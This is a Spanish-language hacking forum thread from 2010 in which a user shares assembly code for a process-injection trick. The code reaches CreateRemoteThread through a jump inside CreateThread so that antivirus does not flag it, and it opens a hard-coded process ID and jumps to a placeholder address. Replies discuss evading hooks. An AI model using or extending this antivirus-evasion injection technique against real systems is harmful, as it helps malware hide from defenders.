elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  inyeccion dll "sin" CreateRemoteThread.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: inyeccion dll "sin" CreateRemoteThread.  (Leído 3,799 veces)
bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
inyeccion dll "sin" CreateRemoteThread.
« en: 15 Mayo 2010, 07:20 »

El ejemplo no injectara ninguna dll, simplemente el proceso victima intentara ejecutar una direccion invalida y se cerrara, el que quiera meter una dll que haga el las modificaciones a su gusto.

Siempre esta el problema de querer usar CreateRemoteThread en una aplicacion (no malware precisamente) y los antivirus suelen marcar ya el programa como peligroso. ahora bien, CreateThread no es detectado como algo peligroso, pero ¿quien es realmente CreateThread?. Esta funcion es un wrapper, alias o como quieras llamarlo de CreateRemoteThread, aceptando 1 parametro menos ya que si se desensambla la funcion se ve claramente que dentro de esta marca el handle del proceso a -1, o lo que es lo mismo a el proceso que a llamado a la funcion. La cosa es simple, necesitamos un puntero a CreateThread y buscar el call a CreateRemoteThread dentro de la funcion, meter los parametros de la funcion en la pila y hacer un jmp a dicho call. de este modo se a injectado la dll "sin" tener que usar la maldita funcion.

El codigo es una chorrada, es expresamente para poner un ejemplo de la idea en codigo. a la hora de usarlo en una aplicacion real se tienen que tener algunas cosas en cuenta.

Código:
format PE GUI 4.0

entry Main

include 'win32a.inc'

section '.data' data readable writeable

cPtr    dd 0

section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
        user32,'USER32.DLL'

include 'api\kernel32.inc'
include 'api\user32.inc'

section '.text' code  readable writeable executable

Main:
     push 0
     push 0
     push 0
     push InjectaDll
     push 0
     push 0
     call [CreateThread]
     push 6h            ;Esto es solo para la prueba.
     call [Sleep]
     push 0
     call [ExitProcess]


proc InjectaDll
     push edi
     mov eax,0E8h
     mov edi,dword [CreateThread]
S:
     repne scasb
     jnz S
     dec edi
     mov [cPtr],edi
     pop edi
     push 3532      ;Process Id
     push 1
     push PROCESS_ALL_ACCESS
     call [OpenProcess]
     or eax,eax
     jz Fin
     push 0
     push 0
     push 0
     push 41414141h
     push 0
     push 0
     push eax
     jmp [cPtr]  ;CreateRemoteThread
Fin:
     ; En caso de error
endp

« Última modificación: 15 Mayo 2010, 07:22 por ctlon » En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.425


Se siente observado ¬¬'


Ver Perfil
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #1 en: 15 Mayo 2010, 11:14 »

Muy ingenioso :D ;)
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.081


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #2 en: 15 Mayo 2010, 15:17 »

Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.513


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #3 en: 15 Mayo 2010, 16:53 »

Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

:xD esto no se parece en nada al metodo que vas a utilizar.
En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.425


Se siente observado ¬¬'


Ver Perfil
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #4 en: 15 Mayo 2010, 18:10 »

:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.081


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #5 en: 15 Mayo 2010, 18:14 »

Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

:xD esto no se parece en nada al metodo que vas a utilizar.

Lo cambié  :P. Aunque el otro día se me ocurrió como saltarmelo como si nada, pero ya idee otro plan que aún no puse en práctica...

Bueno, basicamente utilizo la int 2Eh para hacer algunas cosas y luego que me permitan hacer otras, y luego un chisme hacindo cosas, ni digo más hasta que lo publique  :xD.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.513


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #6 en: 15 Mayo 2010, 18:27 »

:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD

xD hace semanas que postee mi renuncia... antes del ban
En línea

ker0sene

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #7 en: 17 Mayo 2010, 01:48 »

También se puede buscar la dirección relativa de CreateRemoteThread en la tabla de exportaciones de kernel32.dll
En línea

Lo que es bueno y lo que es malo, eso no lo sabe todavía nadie
bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: inyeccion dll "sin" CreateRemoteThread.
« Respuesta #8 en: 17 Mayo 2010, 01:50 »

si, pero la finalidad es no hacer referencia alguna en el codigo a esta funcion y hacerlo facil. se puede crear un thread en otro proceso sin pasar por esta funcion en ningun momento.
« Última modificación: 17 Mayo 2010, 02:11 por ctlon » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
CreateRemoteThread Duda
Programación C/C++
Roast D 3 364 Último mensaje 24 Febrero 2017, 17:27
por ivancea96
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines